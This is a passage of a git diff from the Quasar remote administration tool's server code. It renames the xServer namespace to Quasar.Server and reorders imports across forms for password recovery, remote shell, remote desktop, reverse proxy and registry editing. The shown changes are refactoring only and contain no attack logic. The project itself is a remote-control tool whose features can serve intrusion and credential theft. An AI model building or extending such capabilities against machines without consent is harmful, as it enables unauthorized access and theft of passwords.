Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Extensions; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.Networking.Utilities; +using Quasar.Server.Core.Utilities; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmMain : Form { @@ -135,7 +135,7 @@ private void lstClients_SelectedIndexChanged(object sender, EventArgs e) UpdateWindowTitle(); } - private void ServerState(Server server, bool listening, ushort port) + private void ServerState(Core.Networking.Server server, bool listening, ushort port) { try { diff --git a/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs index 3d65acd7..ff7deee8 100644 --- a/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs +++ b/Quasar.Server/Forms/FrmPasswordRecovery.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmPasswordRecovery { @@ -46,7 +48,7 @@ private void InitializeComponent() this.groupBox2 = new System.Windows.Forms.GroupBox(); this.lblInfo = new System.Windows.Forms.Label(); this.txtFormat = new System.Windows.Forms.TextBox(); - this.lstPasswords = new xServer.Controls.AeroListView(); + this.lstPasswords = new AeroListView(); this.hIdentification = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hURL = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hUser = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -72,7 +74,7 @@ private void InitializeComponent() this.saveToFileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.saveAllToolStripMenuItem, this.saveSelectedToolStripMenuItem}); - this.saveToFileToolStripMenuItem.Image = global::xServer.Properties.Resources.save; + this.saveToFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.save; this.saveToFileToolStripMenuItem.Name = "saveToFileToolStripMenuItem"; this.saveToFileToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.saveToFileToolStripMenuItem.Text = "Save to File"; @@ -96,7 +98,7 @@ private void InitializeComponent() this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.copyAllToolStripMenuItem, this.copySelectedToolStripMenuItem}); - this.copyToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy; + this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.copy; this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem"; this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; @@ -125,7 +127,7 @@ private void InitializeComponent() this.clearToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.clearAllToolStripMenuItem, this.clearSelectedToolStripMenuItem}); - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.clearToolStripMenuItem.Text = "Clear"; @@ -146,7 +148,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.refreshToolStripMenuItem.Text = "Refresh"; diff --git a/Quasar.Server/Forms/FrmPasswordRecovery.cs b/Quasar.Server/Forms/FrmPasswordRecovery.cs index 5575f12f..933b42c6 100644 --- a/Quasar.Server/Forms/FrmPasswordRecovery.cs +++ b/Quasar.Server/Forms/FrmPasswordRecovery.cs @@ -1,17 +1,17 @@ -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmPasswordRecovery : Form { diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs index 5e3623eb..ce14d432 100644 --- a/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls.HexEditor; + +namespace Quasar.Server.Forms { partial class FrmRegValueEditBinary { @@ -33,7 +35,7 @@ private void InitializeComponent() this.label2 = new System.Windows.Forms.Label(); this.cancelButton = new System.Windows.Forms.Button(); this.okButton = new System.Windows.Forms.Button(); - this.hexEditor = new xServer.Controls.HexEditor.HexEditor(); + this.hexEditor = new HexEditor(); this.SuspendLayout(); // // valueNameTxtBox diff --git a/Quasar.Server/Forms/FrmRegValueEditBinary.cs b/Quasar.Server/Forms/FrmRegValueEditBinary.cs index bd38d384..cf92c893 100644 --- a/Quasar.Server/Forms/FrmRegValueEditBinary.cs +++ b/Quasar.Server/Forms/FrmRegValueEditBinary.cs @@ -1,9 +1,9 @@ -using Quasar.Common.Models; -using System; +using System; using System.Windows.Forms; -using xServer.Core.Registry; +using Quasar.Common.Models; +using Quasar.Server.Core.Registry; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegValueEditBinary : Form { diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs index d7e838a3..0f381680 100644 --- a/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRegValueEditMultiString { diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs index 632b776b..7d68517e 100644 --- a/Quasar.Server/Forms/FrmRegValueEditMultiString.cs +++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs @@ -1,9 +1,9 @@ -using Quasar.Common.Models; -using Quasar.Common.Utilities; -using System; +using System; using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Common.Utilities; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegValueEditMultiString : Form { diff --git a/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs index 6a3bdb62f..4fdef39b 100644 --- a/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRegValueEditString { diff --git a/Quasar.Server/Forms/FrmRegValueEditString.cs b/Quasar.Server/Forms/FrmRegValueEditString.cs index 728efe02..3cc86f06 100644 --- a/Quasar.Server/Forms/FrmRegValueEditString.cs +++ b/Quasar.Server/Forms/FrmRegValueEditString.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Models; -using Quasar.Common.Utilities; -using System; +using System; using System.Windows.Forms; -using xServer.Core.Registry; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Core.Registry; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegValueEditString : Form { diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs index 871842a3..62aefd5e 100644 --- a/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs +++ b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs @@ -1,4 +1,7 @@ -namespace xServer.Forms +using Quasar.Server.Controls; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms { partial class FrmRegValueEditWord { @@ -37,7 +40,7 @@ private void InitializeComponent() this.baseBox = new System.Windows.Forms.GroupBox(); this.radioDecimal = new System.Windows.Forms.RadioButton(); this.radioHexa = new System.Windows.Forms.RadioButton(); - this.valueDataTxtBox = new xServer.Controls.WordTextBox(); + this.valueDataTxtBox = new WordTextBox(); this.baseBox.SuspendLayout(); this.SuspendLayout(); // @@ -143,7 +146,7 @@ private void InitializeComponent() this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); this.valueDataTxtBox.TabIndex = 0; this.valueDataTxtBox.Text = "0"; - this.valueDataTxtBox.Type = xServer.Enums.WordType.DWORD; + this.valueDataTxtBox.Type = WordType.DWORD; // // FrmRegValueEditWord // diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.cs b/Quasar.Server/Forms/FrmRegValueEditWord.cs index fb81117b..a8745c1d 100644 --- a/Quasar.Server/Forms/FrmRegValueEditWord.cs +++ b/Quasar.Server/Forms/FrmRegValueEditWord.cs @@ -1,11 +1,11 @@ -using Microsoft.Win32; +using System; +using System.Windows.Forms; +using Microsoft.Win32; using Quasar.Common.Models; using Quasar.Common.Utilities; -using System; -using System.Windows.Forms; -using xServer.Enums; +using Quasar.Server.Enums; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegValueEditWord : Form { diff --git a/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs index 5cd171a5..56c1e05c 100644 --- a/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmRegistryEditor { @@ -84,8 +86,8 @@ private void InitializeComponent() this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.tvRegistryDirectory = new xServer.Controls.RegistryTreeView(); - this.lstRegistryValues = new xServer.Controls.AeroListView(); + this.tvRegistryDirectory = new RegistryTreeView(); + this.lstRegistryValues = new AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); diff --git a/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar.Server/Forms/FrmRegistryEditor.cs index bb8518cb..ea15d843 100644 --- a/Quasar.Server/Forms/FrmRegistryEditor.cs +++ b/Quasar.Server/Forms/FrmRegistryEditor.cs @@ -1,20 +1,20 @@ -using Microsoft.Win32; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using Quasar.Common.Utilities; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Commands; -using xServer.Core.Extensions; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Registry; +using Microsoft.Win32; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Controls; +using Quasar.Server.Core.Extensions; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.Registry; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRegistryEditor : Form { diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs index f03ab8f5..96b8ffed 100644 --- a/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs +++ b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmRemoteDesktop { @@ -42,7 +44,7 @@ private void InitializeComponent() this.btnHide = new System.Windows.Forms.Button(); this.btnShow = new System.Windows.Forms.Button(); this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components); - this.picDesktop = new xServer.Controls.RapidPictureBox(); + this.picDesktop = new RapidPictureBox(); ((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit(); this.panelTop.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit(); @@ -103,7 +105,7 @@ private void InitializeComponent() // // btnMouse // - this.btnMouse.Image = global::xServer.Properties.Resources.mouse_delete; + this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete; this.btnMouse.Location = new System.Drawing.Point(302, 5); this.btnMouse.Name = "btnMouse"; this.btnMouse.Size = new System.Drawing.Size(28, 28); @@ -132,7 +134,7 @@ private void InitializeComponent() // // btnKeyboard // - this.btnKeyboard.Image = global::xServer.Properties.Resources.keyboard_delete; + this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete; this.btnKeyboard.Location = new System.Drawing.Point(336, 5); this.btnKeyboard.Name = "btnKeyboard"; this.btnKeyboard.Size = new System.Drawing.Size(28, 28); diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar.Server/Forms/FrmRemoteDesktop.cs index 5a0c188d..d403dc09 100644 --- a/Quasar.Server/Forms/FrmRemoteDesktop.cs +++ b/Quasar.Server/Forms/FrmRemoteDesktop.cs @@ -1,16 +1,16 @@ -using Gma.System.MouseKeyHook; -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Utilities; +using Gma.System.MouseKeyHook; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.Utilities; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRemoteDesktop : Form { diff --git a/Quasar.Server/Forms/FrmRemoteShell.Designer.cs b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs index 22f4fff0..ae2f3ac2 100644 --- a/Quasar.Server/Forms/FrmRemoteShell.Designer.cs +++ b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmRemoteShell { diff --git a/Quasar.Server/Forms/FrmRemoteShell.cs b/Quasar.Server/Forms/FrmRemoteShell.cs index e619e46b..cffe6bd2 100644 --- a/Quasar.Server/Forms/FrmRemoteShell.cs +++ b/Quasar.Server/Forms/FrmRemoteShell.cs @@ -1,13 +1,13 @@ -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.Drawing; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmRemoteShell : Form { diff --git a/Quasar.Server/Forms/FrmReverseProxy.Designer.cs b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs index 4b7aaf2c..bcde0caf 100644 --- a/Quasar.Server/Forms/FrmReverseProxy.Designer.cs +++ b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmReverseProxy { @@ -43,7 +43,7 @@ private void InitializeComponent() this.lblProxyInfo = new System.Windows.Forms.Label(); this.label1 = new System.Windows.Forms.Label(); this.lblLoadBalance = new System.Windows.Forms.Label(); - this.lstConnections = new xServer.Controls.AeroListView(); + this.lstConnections = new AeroListView(); this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); diff --git a/Quasar.Server/Forms/FrmReverseProxy.cs b/Quasar.Server/Forms/FrmReverseProxy.cs index 4cbabf4e..f2fc5102 100644 --- a/Quasar.Server/Forms/FrmReverseProxy.cs +++ b/Quasar.Server/Forms/FrmReverseProxy.cs @@ -1,15 +1,15 @@ -using Quasar.Common.Messages; -using System; +using System; using System.Globalization; using System.Net.Sockets; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Data; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.ReverseProxy; +using Quasar.Common.Messages; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.ReverseProxy; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmReverseProxy : Form { diff --git a/Quasar.Server/Forms/FrmSettings.Designer.cs b/Quasar.Server/Forms/FrmSettings.Designer.cs index cbf2db57..244cd4eb 100644 --- a/Quasar.Server/Forms/FrmSettings.Designer.cs +++ b/Quasar.Server/Forms/FrmSettings.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmSettings { diff --git a/Quasar.Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs index 81393364..a5068ddc 100644 --- a/Quasar.Server/Forms/FrmSettings.cs +++ b/Quasar.Server/Forms/FrmSettings.cs @@ -1,13 +1,13 @@ using System; using System.Globalization; using System.Windows.Forms; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Networking; -using xServer.Core.Networking.Utilities; -using xServer.Core.Utilities; +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Data; +using Quasar.Server.Core.Networking; +using Quasar.Server.Core.Networking.Utilities; +using Quasar.Server.Core.Utilities; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmSettings : Form { diff --git a/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs index 27d0a8fb..c24fe64f 100644 --- a/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs +++ b/Quasar.Server/Forms/FrmShowMessagebox.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmShowMessagebox { diff --git a/Quasar.Server/Forms/FrmShowMessagebox.cs b/Quasar.Server/Forms/FrmShowMessagebox.cs index 26d1c140..619baf15 100644 --- a/Quasar.Server/Forms/FrmShowMessagebox.cs +++ b/Quasar.Server/Forms/FrmShowMessagebox.cs @@ -1,8 +1,8 @@ using System; using System.Windows.Forms; -using xServer.Core.Helper; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmShowMessagebox : Form { diff --git a/Quasar.Server/Forms/FrmStartupAdd.Designer.cs b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs index bb0742f3..ab948391 100644 --- a/Quasar.Server/Forms/FrmStartupAdd.Designer.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmStartupAdd { diff --git a/Quasar.Server/Forms/FrmStartupAdd.cs b/Quasar.Server/Forms/FrmStartupAdd.cs index be334726..982bd0e0 100644 --- a/Quasar.Server/Forms/FrmStartupAdd.cs +++ b/Quasar.Server/Forms/FrmStartupAdd.cs @@ -1,11 +1,11 @@ -using Quasar.Common.Models; -using System; +using System; using System.IO; using System.Windows.Forms; using Quasar.Common.Enums; -using xServer.Core.Helper; +using Quasar.Common.Models; +using Quasar.Server.Core.Helper; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmStartupAdd : Form { diff --git a/Quasar.Server/Forms/FrmStartupManager.Designer.cs b/Quasar.Server/Forms/FrmStartupManager.Designer.cs index f7049d61..ec9f0467 100644 --- a/Quasar.Server/Forms/FrmStartupManager.Designer.cs +++ b/Quasar.Server/Forms/FrmStartupManager.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmStartupManager { @@ -33,7 +35,7 @@ private void InitializeComponent() this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); this.addEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.removeEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.lstStartupItems = new xServer.Controls.AeroListView(); + this.lstStartupItems = new AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip.SuspendLayout(); @@ -49,7 +51,7 @@ private void InitializeComponent() // // addEntryToolStripMenuItem // - this.addEntryToolStripMenuItem.Image = global::xServer.Properties.Resources.application_add; + this.addEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; this.addEntryToolStripMenuItem.Name = "addEntryToolStripMenuItem"; this.addEntryToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.addEntryToolStripMenuItem.Text = "Add Entry"; @@ -57,7 +59,7 @@ private void InitializeComponent() // // removeEntryToolStripMenuItem // - this.removeEntryToolStripMenuItem.Image = global::xServer.Properties.Resources.application_delete; + this.removeEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_delete; this.removeEntryToolStripMenuItem.Name = "removeEntryToolStripMenuItem"; this.removeEntryToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.removeEntryToolStripMenuItem.Text = "Remove Entry"; diff --git a/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar.Server/Forms/FrmStartupManager.cs index d4f7b888..b1c5c956 100644 --- a/Quasar.Server/Forms/FrmStartupManager.cs +++ b/Quasar.Server/Forms/FrmStartupManager.cs @@ -1,15 +1,15 @@ -using Quasar.Common.Enums; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmStartupManager : Form { diff --git a/Quasar.Server/Forms/FrmSystemInformation.Designer.cs b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs index abf44e9e..f89e1014 100644 --- a/Quasar.Server/Forms/FrmSystemInformation.Designer.cs +++ b/Quasar.Server/Forms/FrmSystemInformation.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmSystemInformation { @@ -32,7 +32,7 @@ private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSystemInformation)); - this.lstSystem = new xServer.Controls.AeroListView(); + this.lstSystem = new AeroListView(); this.hComponent = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -86,7 +86,7 @@ private void InitializeComponent() this.copyToClipboardToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.copyAllToolStripMenuItem, this.copySelectedToolStripMenuItem}); - this.copyToClipboardToolStripMenuItem.Image = global::xServer.Properties.Resources.copy; + this.copyToClipboardToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.copy; this.copyToClipboardToolStripMenuItem.Name = "copyToClipboardToolStripMenuItem"; this.copyToClipboardToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.copyToClipboardToolStripMenuItem.Text = "Copy to Clipboard"; @@ -112,7 +112,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(171, 22); this.refreshToolStripMenuItem.Text = "Refresh"; diff --git a/Quasar.Server/Forms/FrmSystemInformation.cs b/Quasar.Server/Forms/FrmSystemInformation.cs index 6a3028aa..5a1ca094 100644 --- a/Quasar.Server/Forms/FrmSystemInformation.cs +++ b/Quasar.Server/Forms/FrmSystemInformation.cs @@ -1,14 +1,14 @@ -using Quasar.Common.Messages; -using System; +using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Extensions; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Server.Core.Extensions; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmSystemInformation : Form { diff --git a/Quasar.Server/Forms/FrmTaskManager.Designer.cs b/Quasar.Server/Forms/FrmTaskManager.Designer.cs index 6f1d682a..0b09ed35 100644 --- a/Quasar.Server/Forms/FrmTaskManager.Designer.cs +++ b/Quasar.Server/Forms/FrmTaskManager.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmTaskManager { @@ -38,7 +38,7 @@ private void InitializeComponent() this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); - this.lstTasks = new xServer.Controls.AeroListView(); + this.lstTasks = new AeroListView(); this.hProcessname = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTitle = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -61,7 +61,7 @@ private void InitializeComponent() // // killProcessToolStripMenuItem // - this.killProcessToolStripMenuItem.Image = global::xServer.Properties.Resources.cancel; + this.killProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem"; this.killProcessToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.killProcessToolStripMenuItem.Text = "Kill Process"; @@ -69,7 +69,7 @@ private void InitializeComponent() // // startProcessToolStripMenuItem // - this.startProcessToolStripMenuItem.Image = global::xServer.Properties.Resources.run; + this.startProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.run; this.startProcessToolStripMenuItem.Name = "startProcessToolStripMenuItem"; this.startProcessToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.startProcessToolStripMenuItem.Text = "Start Process"; @@ -82,7 +82,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(141, 22); this.refreshToolStripMenuItem.Text = "Refresh"; diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs index 7cc8e781..a6f2d026 100644 --- a/Quasar.Server/Forms/FrmTaskManager.cs +++ b/Quasar.Server/Forms/FrmTaskManager.cs @@ -1,14 +1,14 @@ -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.Windows.Forms; -using xServer.Controls; -using xServer.Core.Commands; -using xServer.Core.Helper; -using xServer.Core.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Controls; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Messages; +using Quasar.Server.Core.Networking; -namespace xServer.Forms +namespace Quasar.Server.Forms { public partial class FrmTaskManager : Form { diff --git a/Quasar.Server/Forms/FrmUpdate.Designer.cs b/Quasar.Server/Forms/FrmUpdate.Designer.cs index 775c9c4a..d25657d4 100644 --- a/Quasar.Server/Forms/FrmUpdate.Designer.cs +++ b/Quasar.Server/Forms/FrmUpdate.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmUpdate { diff --git a/Quasar.Server/Forms/FrmUpdate.cs b/Quasar.Server/Forms/FrmUpdate.cs index 1582a908..6c0285c6 100644 --- a/Quasar.Server/Forms/FrmUpdate.cs +++ b/Quasar.Server/Forms/FrmUpdate.cs @@ -1,9 +1,9 @@ using System; using System.IO; using System.Windows.Forms; -using 